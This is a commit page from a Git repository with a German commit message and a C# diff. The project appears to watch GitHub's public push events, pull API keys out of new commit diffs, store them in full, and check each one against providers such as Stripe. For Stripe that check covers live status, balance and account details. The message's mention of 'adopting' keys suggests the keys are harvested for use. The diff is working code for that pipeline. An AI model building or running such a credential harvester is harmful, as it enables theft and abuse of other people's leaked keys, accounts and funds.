feat: DB-Explorer, Scanner-KeyTypes-Setting, Stripe-Checker, Anthropic-Auth-Fix, Progress-Tracking

Backend:
- Neuer Database Explorer Endpoint (GET /api/admin/db/tables, GET /api/admin/db/tables/{name})
- DatabaseService: public GetConnection() Methode
- StripeKeyChecker: 2-Schritt-Check (/v1/balance + /v1/account), erkennt Live/Test, Balance, Account-Details
- AnthropicKeyChecker: Auth-Header fix (x-api-key für API-Keys, Bearer für OAuth), 400-Handler für credit balance
- KeyPatterns: Stripe einkommentiert, Krea AI Pattern, AllTypes-Array, MinLength 4
- ServerSettingsService: string_array Typ (Get/SetStringArray), ScannerKeyTypes Setting mit Checkbox-Optionen
- ServerSettingsEndpoint: string_array Speichern (Array/CSV)
- KeyScannerService: GetActiveSearchPatterns() filtert nach ScannerKeyTypes, Progress-Tracking
- GitHubEventScannerService: CheckNewKeys nur für aktuelle Poll-Keys (statt alle unchecked), klarere Log-Meldung

Frontend:
- Database Explorer Page: Tabellenliste mit Klick -> Tabelleninhalt, Pagination, sticky Header
- Server Settings: Checkbox-Gruppe für string_array (Alle/Keine Buttons)
- API Keys: adoptedApiKeyId Fix (leerer String == null)
- Dashboard: DB-Explorer Link für Admins
- Scan-Progress: Live-Fortschritt mit Phase/Detail/Counter
This commit is contained in:
Meleki committed 2026-03-14 16:19:13 +01:00
1 parent 3cd35ebbfa
commit e61f3ef082
15 files changed
+642 -33

No files matched your search

+15 -14
View File
@@ -190,7 +190,7 @@ public class GitHubEventScannerService : BackgroundService
AddLog("poll", events.Count + " Events, " + pushEvents.Count + " neue PushEvents → " + toScan.Count + " scannen");
// Head-Commit-Diffs scannen
var newKeysFound = 0;
var newKeyIds = new List<string>();
var scannedCount = 0;
foreach (var pe in toScan)
{
@@ -213,10 +213,11 @@ public class GitHubEventScannerService : BackgroundService
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
var typeName = KeyPatterns.DisplayName(keyType);
newKeysFound++;
var keyId = Guid.NewGuid().ToString("N");
newKeyIds.Add(keyId);
await _db.CreateScannedKey(new ScannedKeyRecord
{
ScannedKeyId = Guid.NewGuid().ToString("N"),
ScannedKeyId = keyId,
ApiKey = key,
Source = "github_events",
SourceUrl = sourceUrl,
@@ -258,15 +259,15 @@ public class GitHubEventScannerService : BackgroundService
}
}
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeysFound + " neue Keys");
AddLog("poll", scannedCount + " Diffs gescannt, " + newKeyIds.Count + " neue Keys");
if (newKeysFound > 0)
if (newKeyIds.Count > 0)
{
lock (_lock) _keysFoundTotal += newKeysFound;
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeysFound);
lock (_lock) _keysFoundTotal += newKeyIds.Count;
_logger.LogInformation("GitHubEventScanner: {Count} neue(r) Key(s) in diesem Poll!", newKeyIds.Count);
// Neue Keys sofort prüfen
await CheckNewKeys(ct);
// Nur die gerade gefundenen Keys prüfen (nicht alle unchecked!)
await CheckNewKeys(newKeyIds, ct);
}
return events.Count;
@@ -393,15 +394,15 @@ public class GitHubEventScannerService : BackgroundService
return keys.GroupBy(k => k.Key).Select(g => g.First()).ToList();
}
/// <summary>Prüft alle unchecked Keys sofort nach Fund.</summary>
private async Task CheckNewKeys(CancellationToken ct)
/// <summary>Prüft nur die gerade im aktuellen Poll gefundenen Keys.</summary>
private async Task CheckNewKeys(List<string> keyIds, CancellationToken ct)
{
try
{
var allScanned = (await _db.GetScannedKeys()).ToList();
var unchecked_ = allScanned.Where(k => k.Status == "unchecked").ToList();
var toCheck = allScanned.Where(k => keyIds.Contains(k.ScannedKeyId)).ToList();
foreach (var sk in unchecked_)
foreach (var sk in toCheck)
{
ct.ThrowIfCancellationRequested();
var type = KeyPatterns.DetectType(sk.ApiKey);
@@ -437,7 +438,7 @@ public class GitHubEventScannerService : BackgroundService
}
else
{
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
AddLog("key_checked", $"💾 {typeName} gespeichert (kein Checker verfügbar, bleibt unchecked) · {keyPrefix}");
}
}
catch (Exception ex)